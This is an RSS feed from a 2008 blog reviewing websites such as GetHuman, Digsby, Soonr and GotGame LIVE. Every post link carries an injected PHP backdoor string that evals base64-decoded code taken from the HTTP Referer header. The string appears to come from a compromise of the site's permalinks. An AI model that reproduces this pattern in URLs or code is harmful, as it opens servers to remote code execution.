Bomb Find http://bombfind.com The website review blog and site. Vote sites up that you think are bomb! Thu, 20 Nov 2008 02:21:42 +0000 http://wordpress.org/?v=2.6.3 en Get Human - Customer Support Directory http://bombfind.com/2008/11/19/get-human-customer-support-directory/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://bombfind.com/2008/11/19/get-human-customer-support-directory/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 20 Nov 2008 02:19:55 +0000 admin http://bombfind.com/?p=49 Get Human is a customer support phone directory.  No more talking to a computer for 30 minutes without accomplishing any communication.  Get Human lists hundreds of companies with specific phone numbers and the buttons for your to push on your phone to reach a human ASAP!  The list of numbers are in the hundreds including: travel providers, airlines, car rental agencies, apparel stores, automotive, finance and credit, telephone companies, cell phone companies,  government agencies, insurance companies, pharmaceutical comapnies, internet based companies, shipping companies, software companies, and utility companies. 

The website was developed by Paul English, a boston-based consumer advocate and entrepreneur.  He became so frustrated trying to communicate with competent customer services, that he grew GetHuman.com to a now three-person team.

Example Numbers and Directions:

Amazon.com $ 800‑201‑7575 Don’t press or say anything. See also.
America Online $ 800‑827‑6364 Press 0 at each prompt, ignoring messages.
AT&T Worldnet $ 800‑400‑1447 Press 0 at each prompt, ignoring messages.
Barnes & Noble.com $  @ 800‑843‑2665 Press 16.
Bellsouth FastAccess DSL $ 888‑321‑2375 Press 1; at prompt press 1; at prompt press 1; at prompt press 1; at prompt press 2, ignoring messages.
Blockbuster Online $ 866‑692‑2789 Press 11.
Buy.com 800‑800‑0800 Don’t press or say anything.
CompuServe $ 800‑848‑8990 Press 1211.
Costco.com $ 800‑955‑2292 Press 55.
Earthlink 888‑327‑8454 Press 1; press 0 at each prompt thereafter, ignoring messages.
eBay $ 800‑322‑9266 Press 0 at each prompt, ignoring messages. See also.
GoDaddy.com 480‑505‑8899 Press 0 at each prompt, ignoring messages.
Google $ 650‑623‑4000 Press 0.
Google AdWords $ 866‑246‑6453 Press 22.
Hughesnet $ 866‑347‑3292 Press 2.
Juno $ 888‑839‑5866 Press # at each prompt, ignoring messages.
MSN $ 800‑386‑5550 Say “agent” at each prompt, until offered a representative; say “yes.”
Napster $ 800‑839‑4210 Press 33; at prompt press 2; at prompt press 2.
NetFlix $ 888‑638‑3549 Press 0 at each prompt.
Netscape $ 866‑541‑8233 Press 000.
NetZero $ 866‑841‑1442 Press #### at each prompt, ignoring messages.
Overstock.com $ 800‑843‑2446 Press 0 at each prompt, ignoring messages.
PayPal $ 888‑221‑1161 Press 0 at each prompt, ignoring messages. See also.
People PC $  @ 800‑736‑7537 Press 0 at each prompt, ignoring messages.
SBC DSL support $ 877‑722‑3755 Say “sales”.
Sprint Broadband Direct $ 888‑996‑0001 Press 00.
Target Online $ 800 591‑3869 Press 1; don’t press or say anything, ignoring messages.
Time Warner Road Runner $ 877‑318‑8333 Direct to human.
Ubid.com $ 800‑317‑7995 Hold for representative.
Verizon DSL $ 800‑567‑6789 Say “agent” at each prompt, ignoring messages.
Verizon FiOS $ 888‑553‑1555 Say “operator” at each prompt, ignoring messages.
Wal‑Mart.com $ 800‑966‑6546 Press * at each prompt, ignoring messges.
Yahoo $ 866‑562‑7219 Press 0 at each prompt, ignoring messages.

 

Visit Get Human: http://GetHuman.com


]]> http://bombfind.com/2008/11/19/get-human-customer-support-directory/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Digsby = IM + Email + Social Networks http://bombfind.com/2008/11/19/digsby-im-email-social-networks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://bombfind.com/2008/11/19/digsby-im-email-social-networks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 20 Nov 2008 00:23:58 +0000 admin http://bombfind.com/?p=43 Instant Messaging, Email, and Social Networks all in one application!  Many people have been using trillian throughout the years, but now we have so many more things on the internet than a few instant messaging clients.  Digsby has made a client that utilizes the instant messengers: AIM, MSN, Yahoo, ICQ, Google Talk, and Jabber.  Digsby also gives you Email notifications for Hotmail, Gmail, Yahoo Mail, AOL/AIM Mail, IMAP, and even your POP accounts.  Also, you can receive instant notifications for your Facebook, Twitter, MySpace and LinkedIn accounts.  

 

Features of Digsby:

Instant Messaging
  • One combined buddy list for all your AIM, MSN, Yahoo, ICQ, Google Talk, Jabber, and Facebook Chat Accounts.
  • Manage multiple conversations with tabbed conversation windows. You can drag tabs out into their own windows for important conversations.
  • Rename contacts with an alias so you don’t have to remember buddy names like ‘giantsfan123′.
  • If one of your friends has more than one IM account you can combine them into a single merged contact to eliminate duplicate buddies.
  • Send your friends SMS messages right from the IM window.
  • The InfoBox lets you check everyone’s status message and profile just by moving your mouse down the list.
  • Changing your status has never been easier. just one click right on the buddy list!
  • Multitask while you chat. Minimize the IM window and you see popups of new IM’s. Best of all, you can reply right from the popup and get back to what you were doing.
  • Log conversation history and find the information you need our search-enabled log viewer.
  • And so much more.
Email
  • Manage your Hotmail, Gmail, Yahoo Mail, AOL/AIM Mail, IMAP, and POP accounts right from digsby.
  • Get popup notifications when new email arrives. Clicking a popup takes you right to the message with auto-login into webmail accounts.
  • The email InfoBox gives you a snapshot of your unread messages with just one click
  • Perform actions such as “Mark as Read” or “Report Spam” right from the email InfoBox.
  • Send emails to your friends right from the IM window. The email is sent directly from any account digsby is tracking for you.
Social Networking
  • Stay up to date with everything happening on your Facebook, Twitter, MySpace and LinkedIn accounts.
  • Receive alerts of events such as new friend requests, messages, group invites, etc.
  • The social network InfoBox gives you a real time NewsFeed of what your friends are up to. Everything from new photos, to status updates, to upcoming birthdays is just a click away.
  • Set your Facebook, Twitter and LinkedIn status right from Digsby.
Personalize
  • Customize digsby with application skins to give it a personal look and feel.
  • Change the way your conversations look with themes – everything from simple AIM-style windows to 3D conversation bubbles.
  • Complete control over the layout of buddies on the buddy list. Change everything from buddy icon size to whether or not to show a snippet of their away message.
  • Sort your buddy list how ever you want! You can organize buddies manually, by status, by service, by name or by log size to place those you communicate with most at the top. You can even choose a secondary sorting method.
  • Customizable notification system lets you choose what events you want to be alerted about and how.
Other
  • Digsby offers complete synchronization between computers and installations. Everything from the skin you chose to your pre-defined status messages follows you from place to place.
  • You can place a widget on your blog, website, or social network profile so you can chat with visitors right from digsby.
  • Manage multiple simultaneous file transfers from one simple transfer manager.

Visit Digsby: http://Digsby.com


]]> http://bombfind.com/2008/11/19/digsby-im-email-social-networks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ soonr - Remote Computing Platform http://bombfind.com/2008/11/19/soonr-remote-computing-platform/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://bombfind.com/2008/11/19/soonr-remote-computing-platform/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 19 Nov 2008 23:23:50 +0000 admin http://bombfind.com/?p=39 Soonr offers “breakthrough cloud computing capabilities.”  Soonr has created the “MyCloud.”  Now business professionals have the ability to “accomplish real work wherever they happen to be.”  The cloud lets them access mulitple computers, print, and fax documents from anywhere with internet access.  The Soonr technology also allows professionals to use mobile communications to deliver their needs.  Computers can also be accessed when they are sleeping or powered off.  This is done through the secure continuously updated cloud. 

Here is how their MyCloud works:

Visit Soonr: http://Soonr.com


]]> http://bombfind.com/2008/11/19/soonr-remote-computing-platform/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Got Game Live Client http://bombfind.com/2008/11/19/got-game-live-client/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://bombfind.com/2008/11/19/got-game-live-client/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 19 Nov 2008 20:17:40 +0000 admin http://bombfind.com/?p=26

From GotGame: Meet the new way to play. GotGame LIVE is the toolbox you’ll use to build your greatest gaming experience: advanced overlay technology, high quality voice and text chat, in-play web and video browser, as well as a huge selection of third party applications keep you in the know while you’re in game. Simple matchmaking onto high quality servers and topnotch game play recording tools improve game play and alert your friends—and enemies—to every baller headshot that deserves props. We enable you to customize your in-game experience how you see fit. Everything that you want at your fingertips.

 

Got Game’s client is a revolutionary step for gamers.  Gamers have had similar technology using Xfire in the past, but GotGame has taken this concept a step further by including an in-game browser, multiple widgets, future capabilities of video recording, and a multitude of other features. 

Got Game is currently accepting beta testers: ” All you need to do to become a tester is register for an account here. Once accepted, we’ll send you an email with details on the application and the testing process.  We increase our horde by a few hundred new testers each week, so if you aren’t approved immediately, fear not; we have not forgotten about you.  As soon as we notify you that you have been approved to the beta testing squad, download the application, log in to your account, experience the greatness that is GotGame LIVE, and get back to doing what you do best—rocking faces and devouring souls. Delicious.”

 Visit Got Game at: http://live.gotgame.com/


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